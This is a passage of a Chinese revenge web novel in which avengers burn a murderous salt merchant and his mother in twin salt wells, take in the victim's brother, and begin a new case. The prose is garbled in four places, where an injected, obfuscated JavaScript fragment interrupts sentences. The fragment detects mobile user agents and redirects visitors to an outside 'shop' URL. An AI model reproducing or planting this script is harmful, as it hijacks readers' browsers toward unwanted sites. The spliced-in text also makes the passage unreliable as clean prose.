“你是那个……班主！？”然而，惊怒交加的鲁秉添已经没有余力关注步摇的问题了，倒吊的姿势让他的喉管里如同塞了团烧红的炭，“你想做什么！你……你大胆！你难道不知道我是谁！” “知道啊。”尾音轻轻上扬，少女用柔白的指尖绕着发尾，“你是鲁家的大老爷，卑鄙的盐商，巡盐太监狼狈为奸的座上宾，急色攻心的无耻小人——”唐珠儿忽地俯下身，咧嘴笑道，“可现在，你是我井里的□□。呱——呱——” 唐珠儿学完了□□叫，自己倒把自己逗得前仰后合，在井沿上危险地晃来晃去。身后有双手探了出来，在唐珠儿的背上轻轻一扶。 “说正事。” 鲁秉添这才注意到，唐珠儿身侧还站着个人，竟是晏回。那姑娘裹着一身夜行衣，腰间悬着把短刀，目光直直地盯着他狼狈的脸。而她的旁边立着个罩黑纱的男子，身形颀长，从头至脚都埋在阴影里，只听得到对方粗重的压抑的呼吸。 见众人始终没有将他放下来的意思，最初的惊惧过去，鲁秉添不由得着了恼，梗着脖子冷笑：“费了这么大功夫，就是为了绑了本老爷要钱！？你当这是市井泼皮的把戏？本老爷是捐了监生的！寿光县太爷见了我都得称一声‘鲁先生’，盐运司的张公公是我干爹爹——你们若是绑了我，明日官差就能踏平你们的破戏班！” “你当我们是为了钱？” “我与你们无冤无仇，甚至有恩于那晏回，不为钱又是为什么！” “无冤无仇？”鲁秉添只觉黑纱之下，两道蚀骨钻心的眼神直射过来，晏回冲那人做了个手势，冷冷道，“楚怜的血还没干，你就忘了？” “你们是为了……她！？”鲁秉添心思急转，“那关我什么事！她自己跟着姘头跑了，活不见人死不见尸，留下嗷嗷待哺的奶娃娃，你们……你们问她去啊！” “放你的狗屁！”那男人再也忍不住，猛地扯下罩在脸上的黑纱，痛斥道：“吾妹怜儿性格温柔，最是谨言慎行，明明是你们鲁家杀人害命，将怜儿沉于盐井之中，反倒诬赖怜儿夜奔！杀人不过头点地，你们却用盐娘娘的传说杀人诛心！你们太狠毒了，太狠毒了！” 看着那男子簌簌颤抖的身影，鲁秉添也终于想起了他是在哪里见过这人了。这不就是那楚怜的兄长，被他用权势压得上天无路，入地无门的楚庸吗！ 唐珠儿见楚庸不再隐藏，不满地砸吧了一下嘴，小声道：“真烦人，明明能抖个很响的包袱的，偏生就他忍不住，烦死烦死烦死……” 没有人关注到唐珠儿的碎碎念，鲁秉添盯着楚庸声色俱厉的脸，突然嘴唇一抖，露出一个扭曲的笑意：“你倒是个有点儿本事的，查到了不少，还联合这帮牛鬼蛇神来府上闹了这么一出——”他龇着苍黄的牙，似乎方才被失掉的底气与傲慢重又回到了他的身上，“可那又如何呢？无非是垂死挣扎罢了。我早就跟干爹布下了天罗地网，只待时间一到，你……你们这帮蝼蚁，都将被我一网打尽！” 残忍的笑声从鲁秉添的牙缝间流泻而出，在盐井中发出慑人的巨大回响。 “你们若是想留个全尸，就尽快把本老爷放下来，要不然——” “是吼，晏回姊姊，咱们这帮小民，又岂敢跟鲁大老爷为难，要不——”唐珠儿突然软了声音，有些怯懦地搓了搓脸颊，“咱们把他拉上来？” 晏回笑而不语，似是默认了。 鲁秉添方才尚有些心虚，此刻不由洋洋得意起来，使劲拽了一把绳索，命令道：“还不快拉！” “这就来啦！”唐珠儿一边温言软语着，一边作势去拉拽绳索。 大头朝下的鲁秉添感觉自己正在缓缓向上，绳索干涩吃力，发出嘎吱嘎吱的轻响，晃得他头疼，恼怒道：“诶我说，你能不能快——啊！” 下一瞬，绳索陡然松懈，鲁秉添直挺挺栽了下去！他只觉心脏冲入喉管之中，随着当夜的酒气和酸水，差点儿一口呕出来！落到一半，魂儿已经吓飞天外，绳索却又稳稳地将他停在半空。这一下子，眼泪鼻涕齐齐淌了下来，鲁秉添好不狼狈。 坐在井沿上的唐珠儿咯咯笑起来，晏回的声音却压过了对方的笑声，悠悠传来：“你是指这个吗？” 鲁秉添眼含热泪向上望去，只见晏回正用两指夹着一封信，冲他晃了晃。 “可惜哦，那鸽子还没飞出鲁府，就被我晏回姊姊用石子打下来了。不过你放心，那小鸽子就是摔下来的时候翅膀扭了一下，用不了几日，便能养好了。”唐珠儿笑眯眯道。 鲁秉添哪有心情关心鸽子，闻听自己亲笔求援的信被中途拦截，瞳孔猛然一缩，不可抑制地哆嗦起来。没了干爹的倚仗，他现在岂不是叫天天不应，叫地地不灵？ 好汉不吃眼前亏，他赶紧拔高声线道：“这事儿……不能赖我！是……是我娘！她早年丧夫，守着鲁家不容易，说要保住血脉就得去母留子，我……我可是方圆百里数得着的大孝子，不能……不能违逆她！” “哦呦，大孝子——”唐珠儿学着鲁秉添的样子，怪模怪样地说着，一边冲晏回眨了眨眼。晏回冷冰冰的脸上漾起一丝浅淡得几乎看不见的笑纹，只是一瞬，便散了去。 “我只是按照娘……额不，邵氏的意思，将她害死的妾室背下盐井罢了……其余的，我一概不知。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184815|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐井中女子的尸身呢！”楚庸急于寻得妹妹的尸身，着急问道。 “我真不知道，许是我娘怕晦气，趁夜搬去乱葬岗了——”鲁秉添嗫嚅道。 “你是说，你娘一个六旬老妇，能半夜爬下井，搬着尸体去乱葬岗！？”楚庸厉声道。 “那……那说不定是崔氏帮的她呢！对对——就是崔氏，一定是她！”鲁秉添像一只慌不择路的狍子，急急恳恳地向晏回瞅去，“晏回姑娘，你知道我的，有贼心没贼胆，我鲁某人待你可不薄啊！” 闻言，晏回垂眸看向他，从颠倒的视野中，鲁秉添只觉那女子的双眸黑黢黢的，仿佛藏着无人能触及的深渊。“哦？那既然如此，我便赏你一个活命的机会。” 晏回微微一抬手，向着盐井的东方指去：“世人皆道，鲁府靠盐井起家，却不知鲁府中的盐井有两口，一明一暗，是为双生盐井。一口在院中，用来制卤；一口在庙下，用来杀生。鲁秉添，现在你和你的母亲邵氏，就分别困于两口井之中。你仔细闻闻，闻到什么了？” 鲁秉添立刻抽动鼻翼，嗅闻起来。只觉潮湿的盐气里裹着浓重的硫黄与油腥——像极了年节里孩童放的爆竹，炸开前那股子呛人的引信味。方才他太过紧张，竟是没有注意！ “火药？”他声音发颤，后槽牙咬得咯咯响，“你们……你们要炸井？” “嗯嗯——”唐珠儿晃了晃指尖，摇头道，“说错咯，不是火药，是火油。只要我把火折子往井壁一送——砰！”唐珠儿夸张地睁大了眼睛，笑得明媚，“火油遇火就着，盐硝遇热就炸，到时候别说命了，连骨头渣滓都找不到了呢！” 鲁秉添身子一颤，一股热流顺着双股流淌下来，沥沥拉拉顺着脖颈滑过脸颊，最终坠入盐井的深处，腾起一股难闻的尿骚味儿。唐珠儿厌恶地倒退一步，紧紧捂住口鼻。楚庸面色惨白，唯独眸光如鬼火，灼灼盯着鲁秉添。 鲁秉添被唐珠儿吓得尿了裤子，可一道灵光却冲入脑海，他强弓起身子，大声对晏回道：“晏姑娘！等等，晏姑娘！你不是说要赏我一个活命的机会吗！求求你，晏姑娘！” “没错，你待我不薄，我自然是要给你一个机会的。”晏回的声音轻飘飘的，听不出情绪。“双生盐井，一井生，一井死，孰生孰死，你自己来做个抉择吧！” 鲁秉添不由得怔住了。 三岁那年，他因为偷吃了佛堂的贡品，被父亲罚跪，是母亲冒雨给他送来了糕点，陪他在佛堂跪了一夜。 二十二岁那年，他看上了傅氏女子，是母亲定了崔玉容，生生拆散了他们这对儿鸳鸯。“我这糊涂儿子，崔家祖上可出过状元，你是要女子还是面子？”母亲用烟杆轻轻敲着他的额头，就这样给他定了终身。 三十二岁那年，他因失手杀了妾室晚娘，跪在母亲房中瑟瑟发抖，涕泗横流时，亦是母亲拍着他的肩膀，替他拿了主意：“你是鲁家的种，可不能心软。抬起头来，盐娘娘可瞧着呢！” …… 而如今，母亲却成了他最后的筹码。 “我……”鲁秉添的喉结滚动，冷汗顺着脸颊冲入眼睛，煞得他生疼。“我……为了鲁家……我选……去母留子……” 16. 盐娘娘（十六） 范凌舟百无聊赖地靠在井沿上，长长地叹了一口气。井下的邵老夫人已经哭了多时了，听得他头皮一紧又一紧。 他本想和晏回一同整治鲁秉添，可孰料，这好营生让那个黏屁滚儿的唐珠儿抢了去，倒把邵老夫人这个大麻烦推给了他。这邵老夫人的确是恶贯满盈，可她终究是个女子，打不得骂不得，憋闷得范凌舟止不住地叹息。 他趴在井沿上，将白生生的脸往井里探了探。往日里端方严肃的鲁家老太太，如今朱钗歪斜，发髻蓬乱地蹲在井底，好不狼狈，像是尊被雨水泡烂的泥菩萨。 “老太太行行好，可莫要哭了。时至今日，就算是你把自己哭晕过去，也换不回那一干妾室的性命了。”范凌舟按着自己的额角劝道。 “你当我是为了那帮贱婢！？”邵老夫人恶狠狠地瞪向范凌舟，“我是为了我的添儿！” 这邵老夫人平日里养尊处优，发起狠来也是中气十足，震得范凌舟不由得撇了撇嘴。 “我的添儿，被你们以老身性命相挟，定然是……”邵老夫人带着哭腔道，“定然是要舍了自己的性命救我！你们若是有能耐，就直接把老身杀了，莫要为难我的添儿，老身就是做鬼也不会放过你们！” “老太太，你也别生气，也莫喊，这夜还长着呢，不如咱俩聊聊天？”见邵老夫人只是瞪着他不答话，范凌舟自顾自道：“贫道就是奇怪，同为女人，同为母亲，老太太为何就是容不下那些妾室呢？” “哼——”邵老夫人不屑道，“那些贱婢，无非是为我添儿预备的传宗接代的工具，又岂能与老身相提并论！老身是添儿的亲娘，贱婢随时可换，亲娘却只有一个。” 范凌舟微扬的嘴角染了一丝寒意：“可那些孩子的亲娘也只有一个，却被你们拿来填了井。” “能生在鲁家，成为鲁家的血脉，本就是他们的运气！便是亲娘也得舍了！”邵老夫人攥紧了拳，颤巍巍地指着井沿上晃动的人影，怒斥道。 似乎是为了应和她的话语，从西北方向传来三声清脆的鸟鸣，在寂静的夜里格外清晰。范凌舟了然垂眸，从唇齿间溢出既像叹息，又像嗤笑的声音。 “老太太说得是，便是亲娘也得舍了。” 他飘飘然直起身子，低头看向井中的老妇。此时，月上中天，圆如轮盘，将井口外的方寸天空笼罩其中。坐井观天，唯见无限银白光晕，以及那如刀锋般将月亮一切两半的黑色人影。不知为何，邵老夫人只觉一阵酷寒拔地而起。 ——这井中的潮气当真寒得刺骨啊！ 而比那寒气更胜的，是范凌舟吐出的话语：“鲁老爷……也是这般选的。” “什……”邵老夫人还当自己是听错了，瞠目结舌地瞪着范凌舟，指着范凌舟的手臂还未来得及放下，就见一点橙红色的光芒自对方指尖突现，翩然若蝴蝶，迅疾若游隼，直扑盐井而来！下一瞬，灼热的赤浪便将邵老夫人吞没了。 待井中的惨叫声再也听不见了，背靠着井沿的范凌舟方才转过身来，将脑袋往井中探去。 井中火势已渐衰微，只剩零星余烬在卤水洼里滋滋作响，可余温仍在，炙烤得人面皮儿生疼。焦糊的盐晶凝在在井壁上，如同被剥了皮的血肉。邵老夫人的身影缩在井底，原本的锦缎裙裾早成了黑灰，化为焦炭的脸上似乎还残留着死前的惊恐与不甘。唯那一只手臂还直挺挺地向上探着，妄图抓住那人世最后一丝浮华。 范凌舟静静望着那焦糊的尸身半晌，突然双足轻点，踏着井壁跃入井中，五指微张，在邵老夫人高举的手骨上轻轻一抹，又毫无留恋地跃然而出。借着明亮的月色，他平摊手掌，掌中竟多了一只金镯。 镯面的缠枝莲纹被烧得发亮，仿若在月下盛开般栩栩如生。 范凌舟眉毛一簇，禁不住“咝”了一声，将余温未褪的金镯子在两手之间来回倒换，嘴里小声咕哝，嘴角却抑制不住地上扬：“人不咋地，镯子倒是赤金。” 话音刚落，鲁府的西北方传来一阵爆响，于此同时，天空中炸开数朵礼花，火树银花间，将鲁府的异响消解于无形。 范凌舟将镯子塞入怀中，重又换上一副仙风道骨做派，悠悠道：“看来，西楼那边也结束了。” * * * 一水刻之前。 选择了去母留子的鲁秉添似乎被抽干了所有力气，双目呆滞地张着，不多时便盈满了泪。晏回向着东方送去了三声鸟鸣，几个呼吸之间，便有轰燃声传来，哪怕被天上的礼花声掩着，井边的众人亦听得清清楚楚。 楚庸知道，邵老夫人已经为怜儿偿了命。心头的巨石卸下大半，他痛快地大喘了几口气，垂头看向寂然无语的鲁秉添。 唐珠儿自然也不会放过折磨鲁秉添的好时机，笑道：“哦哟，瞧瞧你，一个大老爷们儿，竟然哭啦！？是哭了吧？还真是哭啦！”她嬉笑起来，怎么也止不住，“你说得去母留子，我们真遂了你的愿，你反倒不开心了，倒像我们欺辱了你一般，羞也不羞？” 那“去母留子”四个字，被她说得铿锵有力，有金石相击之音，直听得鲁秉添抖若筛糠。 “你们……你们仇也报了……我也按照你们说得做了选择，该……该放了我吧……”鲁秉添再也没有了反抗的精气神儿，喏喏道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184816|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一声轻嗤从楚庸紧咬的牙缝中泄了出来：“你想得美！” 鲁秉添慌了：“不是……你们让我……让我二选一的啊！” 晏回冷笑道：“的确是我们说得没错，可惜老天却不给你这个机会。鲁老爷，你怕是忘了，你府上这双生盐井，其间有一溶洞相连。一井轰燃，火气自会顺着溶洞，冲入另一井之中，你——”晏回微微眯眼，眸中寒光陡现，“——又如何逃得脱呢？去母留子，呵，可惜母子连心呐！” 说话间，倒吊着的鲁秉添已经感觉到隐隐有热气扑面，刚刚被风吹得半干的裤子又潮了起来，用尽最后力气嚎啕道：“晏姑娘，我错了，我跟你求饶了啊！饶我一命吧！” 鼻涕眼泪倒垂而下，让他的视野一片黏腻的模糊。 “你们……你们难道不想知道怜儿的尸身在哪儿吗！我告诉你们，通通告诉你们！” 鲁秉添浸淫商场多年，最是知道留后手的道理。他心知楚庸救妹心切，不得到楚怜的埋藏地定然不会罢休。只要他能咬紧这个秘密，便能得活！ 闻言，晏回的目光从鲁秉添狼狈的脸上移开，转而望向娘娘庙外那片肆意盛开的花田。成百上千朵忘忧草在月下尽情绽放，摇曳馨香，宛若少女永不消逝的笑颜。 “不必了，楚怜……早已经告诉我们了。” 话音刚落，炽热的火焰从溶洞中冲撞而出，以一往无前的愤怒，将鲁秉添最后一丝贪念烧成了灰烬。火焰之中似乎隐约现出少女的身影，以食指掩唇，凑近鲁秉添惊恐的脸，轻轻地“嘘——”了一声。 “哇，好漂亮！”盐井外，唐珠儿直起身子，望向头顶那片墨色的天空。 “砰——砰——” 无数道莹亮的光束自寿光城的各处冲上夜空，一时间星落如雨。那璀璨的光华，那四处飞溅的霓虹，映亮了少女惊喜的面庞，亦落入了晏回清冷的眸子里。仿佛在这一瞬，所有的仇恨与血腥都已远去，等待他们的将是永无怅惘的，崭新的黎明。 “西楼——”遥遥地，范凌舟的呼唤由远及近而来。 晏回与唐珠儿、楚庸对望了一眼，点了点头：“此间事了，大仇得报，撤。” * * * 不多时，鲁府僻静的角门打开了，一辆牛车悄无声息地引入夜色之中。待牛车拐入小路再也看不见后，树下隐约现出两个人影。 一个是容貌秀丽，怀抱婴孩儿的妇人；另一个男子做小厮打扮，侍立一旁。 “阿念，小顺子，我们也该走了。”妇人抱紧了怀中的奶娃娃，指尖微微发颤，轻声道。 “是，夫人。” 17. 盐娘娘（十七） 暮云低垂，潮头卷着碎金撞在岸边礁石上，化作一片翻涌的洁白。楚庸立在一块平坦的礁石上，遥望着面前这片被夕阳染红的海洋。远处是樯橹如叶，鸥鸟点浪，晚归的渔户点亮了船尾悬挂的渔灯，如雏鸟还巢般纷纷归港。 这些日子，寿光县出了一件大事。县中富户鲁氏于端阳夜突发大火，将家中供奉的盐娘娘道场与两处盐井烧成灰烬。家中管事的鲁老爷、邵老夫人、大夫人崔氏下落不明，唯余三名幼童尚存。更奇的是，家中下人对当夜发生的失踪之事一概不知，只记得阖府上下曾热热闹闹的看了一场傀儡戏，其余的便什么都不知道了。县衙里派了捕头来查，将宅子从头到脚翻了个遍，依旧活不见人死不见尸。同那些消失的妾室一样，鲁老爷、邵老夫人、大夫人崔氏也如此这般被从人间抹去了。 县里的百姓皆传，鲁府敛财无道、恶贯满盈，终是被盐娘娘所不容，将他们一概收了去，只留下无辜的稚子。 楚庸大仇得报，久恨终消，却还有一事，惶惑不解。 他回头看了看正蹲在沙滩上，拿拂尘逗弄螃蟹的范凌舟，又看了看用小刀坚持不懈撬着海蛎的唐珠儿，最终将目光凝在一袭黑衣的晏回身上。 她的脸上一派平静，既没有任务完成的喜悦，亦没有看尽冷暖的怅然，眉眼之间存着的，只有如雪原般地沉默孤清。楚庸是羡慕她的，这世间事恐怕没有什么能够动摇她的心性，迷失她的方向罢…… “晏姑娘，怜儿的尸身究竟在何处？”楚庸开口道。 “就在你的面前。”晏回轻声道。 楚庸怔愣地转头再看，面前唯有碧海暮天。 “崔玉容怕极了娘娘庙前的忘忧草花田，她说那片花田是自楚怜死后生起来的，蹊跷得很，可这正是楚怜留给我们的遗书。卧底鲁府之时，我注意到有位老人，日日担水浇灌府中的花木。他说府中的盐井之中皆是卤水，不能喝亦不能浇花，所以只能日日外出抬水——” “而楚怜死去的那日，身上恰恰带着忘忧草的种子。” 楚庸神色剧变：“你是说——” “没错，楚怜被邵老夫人和鲁秉添戕害与盐井之中，盐井连接着地下暗河，会随着月相的盈缺涨退，而楚怜的尸身便被那暗河裹挟了去，冲入到府外的河道之中。而那老人日日外出抬水，正好将水中的忘忧草种子一并携了回来，浇灌在娘娘庙门前的花木之中，久而久之便形成了那一片蹊跷却美丽的花田。” 楚庸恍然大悟，怪不得四名妾室都活不见人死不见尸，原来是那盐井中的暗河成为了鲁秉添的帮凶。然而因果循环，报应不爽，他与邵氏的尸首也终随着暗河一道，成为永远无法被揭示的秘密。 可是怜儿何辜…… 楚庸将指节捏得发白，真相如同一把钝刀，一下接着一下地剜在他的心上，他声音里带着呜咽：“也就是说……我再也见不到怜儿了……” 晏回看着面前摇摇欲坠的身影，狭长的睫微微颤了颤：“如何就再也见不到呢？楚兄，万河归海啊……” 楚庸猛地抬起头，透过模糊的泪眼望向面前的大海。那井底的积水漫过怜儿的尸身，柔柔地将她包裹，带着她的血肉，顺着暗河，流进了这片海，被浪揉碎，又被夕阳镀成了金。 “其实想想也是好事——”收拢了满满一筐海蛎的唐珠儿开口了，“她不用再困在盐井里啦，她只是去了——”她高高抬起手臂，带着笑意，“海的那头。” “海的那头……”楚庸低声复诵着。 范凌舟不知何时站了起来，解下腰间的酒壶，递给楚庸：“莫哭了，楚兄，她在看着咱们呢。来，敬怜儿。” 酒壶中的浊酒半壶倾倒于地，剩下半壶被楚庸咕咚咕咚灌入自己火辣辣的腹腔里。 “怜儿，阿兄替你——报了仇了！”涕泪交横间，楚庸冲着无边无际的大海大声喊道。 待楚庸脱了力般坐在礁石上，逐渐平静下来，晏回方道：“楚兄，鲁府事毕，按照观中之约，今日一别后，我等行迹，半句不可泄露于旁人。他日若有差遣，你须倾力而为，万不可有半分推诿。” “若违此约，天涯海角，以命相赎。” 晏回眸光沉静，古井无波，仿佛在说一件再寻常不过的事情，可话语中暗含的威慑之意，便是刚刚经历过感情巨大波动的楚庸，都不由得心头一凛。 他抹了把脸，声音沙哑却坚定：“还请晏姑娘放心，楚某绝非背信弃义之徒。” 晏回淡淡颔首，转眸望向海天相接处。残阳正一寸寸沉入海底，将她的影子拉得很长。 “我们走吧。”晏回道。 “好咧！”唐珠儿闻言，一甩竹筐，将控好水的一筐海蛎背在背上。范凌舟用脚蹭了蹭沙滩，将刚才胡乱勾勒的鬼画符蹭了去。二人一左一右，和晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184817|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回并肩而行，三个人影逐渐融在一处，几乎要消散在明亮却挣扎的夕阳里。 楚庸的双眸早已被暮色耀得恍惚，可还是不甘心地凝着他们，心中翻涌起滔天巨浪。 就像那竹帖上写得那样，楚怜含冤而死时，菩萨可曾睁眼？鲁府鱼肉乡里时，神佛可曾垂怜？县衙捕头推三阻四时，王法又在何处？怜儿一世柔顺，他作为兄长，又何曾行过恶事。可为何偏偏怜儿命丧井底，他上天无路，入地无门，而那鲁府上下却享尽了人间富贵，阅尽了天下喜乐。若没有长生观诸人伸出援手，怜儿的血海深仇到何时才能报呢？ 那清冷的女声似乎又一次响彻耳畔：与其懦弱就死，不如血债血偿！ 楚庸全身一颤，突然站起身，拔腿向着三人消失处奔去！ “晏姑娘留步！” 此时，唐珠儿刚刚翻上青墩儿厚实的牛背，范凌舟正作势要扶晏回上牛车，却听见狂奔而来的脚步声，还不待反应，楚庸已经扑通一声跪倒在众人面前。 膝盖砸在湿滑的卵石上，楚庸连眉头都未皱一下：“晏回姑娘，珠儿姑娘，范道长，我知道诸位皆是江湖义士，所行之事皆是为好人平冤，让恶人遭殃。楚某不为功名，不求富贵，只愿与诸位一道，平这天下不平之事，为那些砧板上的鱼肉，讨个公道！” “我们这么正义吗？”范凌舟和唐珠儿对视一眼，小声嘀咕道。 唐珠儿瞪大圆溜溜的眸子：“你才知道！？” 相较于范凌舟和唐珠儿的叽叽喳喳，晏回无言半晌，居高临下地看着跪在滩涂上的男人，瞳仁里倒映着最后一抹残阳的火光，灼灼发烫：“你可知这条路是刀山火海？” “楚某连死都尚且不惧，又何惧火海刀山！”楚庸再次重重叩首，“怜儿在天有灵，也定会盼着她的阿兄做些真正值得的事……楚某——恳请晏回姑娘收留！” 海浪拍打着晚归的渔船，渔火摇曳间，晏回的唇角挽起一丝浅淡的弧度。她微微倾身，向地上的楚庸伸出手：“上车吧！” 唐珠儿和范凌舟又惊又喜，躲避着晏回的视线互相挤眉弄眼了一番。唐珠儿笑着拍了拍青墩儿的屁股，扬声道：“回家咯！” 牛车叮咚，迎着逐渐亮起的星子，向着济南府的方向进发。 此正是：十年磨一剑，霜刃未曾试。今日把示君，谁有不平事！ （第一卷·完） 18. 生死签（一） 黑者死，白者生，公指之，是自取死也。——《续定命录》 薛负缓缓推开院门，脸色惨白。 “负郎——”青杳闻声而来，却被薛负的神情吓了一跳。她赶忙扶住脱力地倚靠着院门的薛负，急切道：“这是怎地了？可是县令家的两位公子又闯了祸事，累及了你？” 自家夫郎性子温和文质，与自己成婚七年，连口角都未曾有过。青杳想不出究竟是何事，能让薛负失魂落魄至此。面对妻子的柔声追问，薛负却仿佛没听见一般，只是双目无神地凝着脚前的方寸之地，急促地喘息着。 ——来不及了，再不走就来不及了！ 猛地，薛负攥住了青杳的手腕，把后者吓了一跳。 “收拾东西，现在就走。”薛负的声音如同耳语，却抖得不成调。 “到底出什么事了？”青杳有些急了。 “噤声！”薛负身子一缩，不自觉地向下矮了去，五官紧紧皱在一起，不住地向着青杳摆手：“噤声！莫让他们听了去！” 青杳又是气恼又是心软，她何曾见过薛负这般困窘惊恐的情态，知道便是再问也问不出什么，只能先顺着薛负的心意再做安排。 亥时三刻，薛负赶着马车离了家门。车轮碾过碎石，发出刺耳的咯吱声，才过了村口，马车的布帘掀开一角，露出青杳担忧的脸。她看着薛负绷得笔直的后背，脊梁骨仿佛要从衣衫里戳出来。 “负郎……到底是怎地了？”她小心翼翼地问道。 薛负攥着缰绳的手猛地收紧，指节泛白：“不能说……说了，连你都……”他突然回头，月光从树叶的间隙漏进来，斑驳地晃着他黑黢黢的眸子，让青杳觉出一股莫名的陌生感。“杳娘，我不想死，我想陪着你……我不想……” 他的声音越来越低，最后几个字几乎听不清。青杳不得不倾身向前，想要听得更仔细些。 偏就在这一瞬，马蹄声突然乱了。马儿像是被什么东西惊到，猛地人立而起，嘶鸣声刺破夜空，青杳被惯性扯得向马车后方倒去。从车帘掀开的间隙，青杳清晰地看到一道狭长的黑影突然从路边的枯树后甩出，像毒蛇般朝着薛负的脖颈袭去。而此时，薛负正手忙脚乱地拉扯着缰绳，对即将到来的危险恍然未觉。 “负郎！”在黑影勒紧薛负脖颈的瞬息，青杳惊恐地大喊出声，同时整个人重重撞在马车厢壁上。 时间似乎骤然放缓，青杳眼睁睁地看着那道黑影越勒越紧，薛负的脸色亦随之由白转青，再由青入紫，他的身体被拽得向后仰倒，双脚离地，舌头被从口腔之中挤压出来，无助地垂挂在嘴角，眼睛颓然睁大，眼角隐隐有着泪痕。 那眼中满溢的，不仅仅是对死亡的恐惧，更是对青杳最后的警告。 ——逃啊！杳娘，逃啊！ 可这一切哪容青杳反应，驾车的辕马突然疯了似的往前冲，载着还妄图扑向薛负的青杳向着道路尽头的悬崖疾驰而去！ “负郎——” 薛负被吊挂在树上挣扎的身影越来越远，青杳的哭喊被车轮刺耳的声响吞没。马车冲出悬崖的瞬间，她似乎隐隐看到崖底的黑暗中有红光闪烁，恍若无数双通红的眸子，正窃笑着等待她的坠落。 * * * 夏半，暑气初蒸。 楚庸背着半人高的柴捆走进长生观。观中的石板地刚被道童仔细洒扫过，只在大槐树下尚余几瓣落花。楚庸将柴捆卸下，顺手拂了去，不消片刻便又有几瓣落了下来。 “砌下落梅如雪乱，拂了一身还满——便由着它落呗！”西厢房的竹帘被缓缓掀开，范凌舟倚在门框上打了个绵长的哈欠。 “早啊，楚兄！” 闻言，楚庸顺从地直起身子，垂手恭敬道：“范道长。” “诶——”范凌舟竖起食指，蹙眉晃了晃，“怎么还范道长范道长的，听着生分得紧，唤我无鱼便可。” “无鱼……兄。”楚庸有些磕巴道。 范凌舟眯眼一笑，顺手折了根槐花枝，在头顶胡乱转了两转，簪了一个略有些凌乱的发髻，一屁股坐在楚庸刚码好的柴垛上。 “来观里数月，可还住得惯？”他语气随意，目光却在楚庸周身扫量了几圈。他一如初见一般平实质朴，只是那眉间隐隐的怨怒与愁绪，经过数月的调养已散去许多。 “住得惯住得惯！”楚庸慌忙答道，“无论是晏回姑娘，珠儿姑娘还是范……无鱼兄对我都甚是照顾，只是……” “只是？”范凌舟歪了歪脑袋。 “只是不知何时再能承接委托，替无辜之人复仇……” 范凌舟笑了：“楚兄这一点，倒是和初入观时的西楼一般无二。” 楚庸的双眸微微睁大，范凌舟言语间透露出来的信息和他想得有些出入。加入长生观数月来，他一直以为长生观真正发号施令之人是晏回姑娘。而当日他所收到的委托竹帖，联系人依旧是晏回姑娘。可范凌舟却说，晏回入观时他便在，那自此想来，长生观竟然不是晏回姑娘所设，而是……面前这位不着调的范道长？ “失敬失敬，楚某一直以来竟是不知，长生观乃是无鱼兄所设。”他嘴上慌忙应着，却是忘记了遮掩脸上的神情。 “啧——”范凌舟不满地砸吧了一下嘴，“你这是什么表情，我才是道士，长生观自然是我的道场。我听西楼的，主要是因为……” ——因为我心悦于她。 范凌舟不自然地噎了一下：“我惫懒了些，她的确也比我多了一丝丝的领导之能，这才退位让贤的。” “原来如此——”楚庸恍然大悟地点了点头。“那……晏姑娘那般人物，又是如何入的长生观呢？难不成晏姑娘也有未报之仇吗？” 在楚庸心中，晏回无论是武功还是智识，皆可谓人中龙凤。莫说是寻常男女，便是谋臣良将都难与之匹敌。难道说，这样的晏回姑娘也会有不泯之恨吗？ 闻言，范凌舟发出一声泄了气般地长叹，他将手缚于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184818|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑后，倚靠在槐树粗壮的树干上，望向头顶那片被叶片与花朵分割打碎的天空。 “哎……楚兄若是有能耐，自去问她，她确是从未告诉过我的……” 相识数年，他自问是这世上最熟稔晏回之人。他们朝夕相伴，生死相托，默契无匹，长生观从最初的不足十人，到现在五十余人的规模，皆是他与晏回一手打造。无论是小班主唐珠儿，还是新加入的楚庸，都可说是他与晏回着力为长生观挑选的人才。可是，对于晏回的过去，他与世上的其他人一样，分毫不知。 